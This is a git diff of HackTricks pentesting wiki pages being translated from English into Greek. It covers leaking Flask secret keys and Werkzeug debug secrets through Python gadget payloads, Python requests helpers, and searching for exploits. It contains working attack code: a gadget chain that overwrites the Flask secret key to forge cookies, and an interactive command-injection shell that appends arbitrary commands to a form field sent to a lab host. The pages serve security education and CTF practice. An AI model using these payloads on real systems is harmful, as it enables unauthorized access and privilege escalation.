||||
Different vulnerabilities such as [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) or [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) might allow you to **read python internal data but won't allow you to execute code**. Therefore, a pentester will need to make the most of these read permissions to **obtain sensitive privileges and escalate the vulnerability**.
|
||||
Διάφορες ευπάθειες όπως οι [**Συμβολοσειρές Μορφοποίησης της Python**](bypass-python-sandboxes/#python-format-string) ή η [**Ρύπανση Κλάσεων**](class-pollution-pythons-prototype-pollution.md) μπορεί να σας επιτρέψουν να **διαβάσετε εσωτερικά δεδομένα της Python αλλά δεν θα σας επιτρέψουν να εκτελέσετε κώδικα**. Επομένως, ένας pentester θα πρέπει να εκμεταλλευτεί αυτές τις δικαιώματα ανάγνωσης για να **αποκτήσει ευαίσθητα προνόμια και να αναβαθμίσει την ευπάθεια**.
|
||||
|
||||
### Flask - Read secret key
|
||||
|
||||
The main page of a Flask application will probably have the **`app`** global object where this **secret is configured**.
|
||||
### Flask - Διάβασμα μυστικού κλειδιού
|
||||
|
||||
Η κύρια σελίδα μιας εφαρμογής Flask πιθανότατα θα έχει το **`app`** αντικείμενο όπου αυτό το **μυστικό έχει διαμορφωθεί**.
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
Σε αυτήν την περίπτωση είναι δυνατή η πρόσβαση σε αυτό το αντικείμενο χρησιμοποιώντας οποιοδήποτε εργαλείο για **πρόσβαση σε παγκόσμια αντικείμενα** από την [σελίδα **Παράκαμψη των αμμοθύρων της Python**](bypass-python-sandboxes/).
|
||||
|
||||
In this case it's possible to access this object just using any gadget to **access global objects** from the [**Bypass Python sandboxes page**](bypass-python-sandboxes/).
|
||||
Στην περίπτωση όπου **η ευπάθεια βρίσκεται σε ένα διαφορετικό αρχείο python**, χρειάζεστε ένα εργαλείο για να διασχίσετε τα αρχεία και να φτάσετε στο κύριο αρχείο για να **έχετε πρόσβαση στο παγκόσμιο αντικείμενο `app.secret_key`** και να αλλάξετε το μυστικό κλειδί του Flask και να είστε σε θέση να [**αναβαθμίσετε τα δικαιώματα** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
In the case where **the vulnerability is in a different python file**, you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
A payload like this one [from this writeup](https://ctftime.org/writeup/36082):
|
||||
Ένα πακέτο όπως αυτό από αυτήν την ανάλυση [από αυτό το άρθρο](https://ctftime.org/writeup/36082):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
|
@ -39,33 +37,31 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies.
|
||||
Χρησιμοποιήστε αυτό το payload για να **αλλάξετε το `app.secret_key`** (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) ώστε να μπορείτε να υπογράφετε νέα και πιο προνόμια flask cookies.
|
||||
|
||||
### Werkzeug - machine\_id and node uuid
|
||||
|
||||
[**Using these payload from this writeup**](https://vozec.fr/writeups/tweedle-dum-dee/) you will be able to access the **machine\_id** and the **uuid** node, which are the **main secrets** you need to [**generate the Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md) you can use to access the python console in `/console` if the **debug mode is enabled:**
|
||||
### Werkzeug - machine\_id και node uuid
|
||||
|
||||
[**Χρησιμοποιώντας αυτό το payload από αυτό το writeup**](https://vozec.fr/writeups/tweedle-dum-dee/) θα μπορείτε να έχετε πρόσβαση στο **machine\_id** και το **uuid** node, τα οποία είναι τα **κύρια μυστικά** που χρειάζεστε για να [**δημιουργήσετε το Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md) που μπορείτε να χρησιμοποιήσετε για να έχετε πρόσβαση στην python κονσόλα στο `/console` αν ο **λειτουργικός τρόπος αποσφαλμάτωσης είναι ενεργοποιημένος:**
|
||||
```python
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
|
||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that you can get the **servers local path to the `app.py`** generating some **error** in the web page which will **give you the path**.
|
||||
Σημείωση ότι μπορείτε να πάρετε τη **τοπική διαδρομή του διακομιστή προς το `app.py`** δημιουργώντας κάποιο **σφάλμα** στην ιστοσελίδα που θα **σας δώσει τη διαδρομή**.
|
||||
{% endhint %}
|
||||
|
||||
If the vulnerability is in a different python file, check the previous Flask trick to access the objects from the main python file.
|
||||
Εάν η ευπάθεια βρίσκεται σε ένα διαφορετικό αρχείο python, ελέγξτε το προηγούμενο κόλπο Flask για να έχετε πρόσβαση στα αντικείμενα από το κύριο αρχείο python.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,26 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
```bash
|
||||
sudo apt-get install python3-venv
|
||||
#Now, go to the folder you want to create the virtual environment
|
||||
|
@ -40,25 +39,24 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,28 @@
|
|||
# Web Requests
|
||||
# Αιτήσεις Ιστού
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Python Requests
|
||||
|
||||
## Αιτήσεις Python
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -67,78 +66,87 @@ proxies = {}
|
|||
s = requests.Session()
|
||||
|
||||
def register(username, password):
|
||||
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
|
||||
def login(username, password):
|
||||
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
|
||||
def get_info(name):
|
||||
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
|
||||
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
|
||||
return guid
|
||||
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
|
||||
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
|
||||
return guid
|
||||
|
||||
def upload(guid, filename, data):
|
||||
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
|
||||
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
|
||||
return guid
|
||||
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
|
||||
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
|
||||
return guid
|
||||
|
||||
def json_search(guid, search_string):
|
||||
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
|
||||
return resp.json()
|
||||
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
|
||||
return resp.json()
|
||||
|
||||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Εντολή Python για εκμετάλλευση ενός RCE
|
||||
|
||||
Για να εκμεταλλευτείτε μια ευπάθεια εκτέλεσης ακολουθίας εντολών (RCE) με χρήση της Python, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||
|
||||
```python
|
||||
import os
|
||||
|
||||
os.system('command')
|
||||
```
|
||||
|
||||
## Python cmd to exploit an RCE
|
||||
Αντικαταστήστε τη λέξη "command" με την εντολή που θέλετε να εκτελέσετε. Η εντολή `os.system()` εκτελεί την εντολή που δίνεται ως παράμετρο στο σύστημα του υπολογιστή.
|
||||
|
||||
Προσέξτε ότι η εκτέλεση εντολών από την Python μπορεί να είναι επικίνδυνη και πρέπει να χρησιμοποιείται με προσοχή. Βεβαιωθείτε ότι έχετε την απαραίτητη άδεια ή συγκατάθεση για να εκτελέσετε τις εντολές που προορίζεστε να χρησιμοποιήσετε.
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
from cmd import Cmd
|
||||
|
||||
class Terminal(Cmd):
|
||||
prompt = "Inject => "
|
||||
prompt = "Inject => "
|
||||
|
||||
def default(self, args):
|
||||
output = RunCmd(args)
|
||||
print(output)
|
||||
def default(self, args):
|
||||
output = RunCmd(args)
|
||||
print(output)
|
||||
|
||||
def RunCmd(cmd):
|
||||
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
|
||||
r = requests.post('http://10.10.10.127/select', data=data)
|
||||
page = r.text
|
||||
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
|
||||
if m:
|
||||
return m.group(1)
|
||||
else:
|
||||
return 1
|
||||
|
||||
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
|
||||
r = requests.post('http://10.10.10.127/select', data=data)
|
||||
page = r.text
|
||||
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
|
||||
if m:
|
||||
return m.group(1)
|
||||
else:
|
||||
return 1
|
||||
|
||||
|
||||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εύκολα ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,36 @@
|
|||
# Search Exploits
|
||||
# Αναζήτηση Εκμεταλλεύσεων
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### Browser
|
||||
### Περιηγητής
|
||||
|
||||
Always search in "google" or others: **\<service\_name> \[version] exploit**
|
||||
Αναζητήστε πάντα στο "google" ή σε άλλους: **\<όνομα\_υπηρεσίας> \[έκδοση] exploit**
|
||||
|
||||
You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
Θα πρέπει επίσης να δοκιμάσετε την **αναζήτηση εκμεταλλεύσεων shodan** από το [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Useful to search exploits for services in **exploitdb from the console.**
|
||||
|
||||
Χρήσιμο για την αναζήτηση εκμεταλλεύσεων για υπηρεσίες στο **exploitdb από τη γραμμή εντολών.**
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
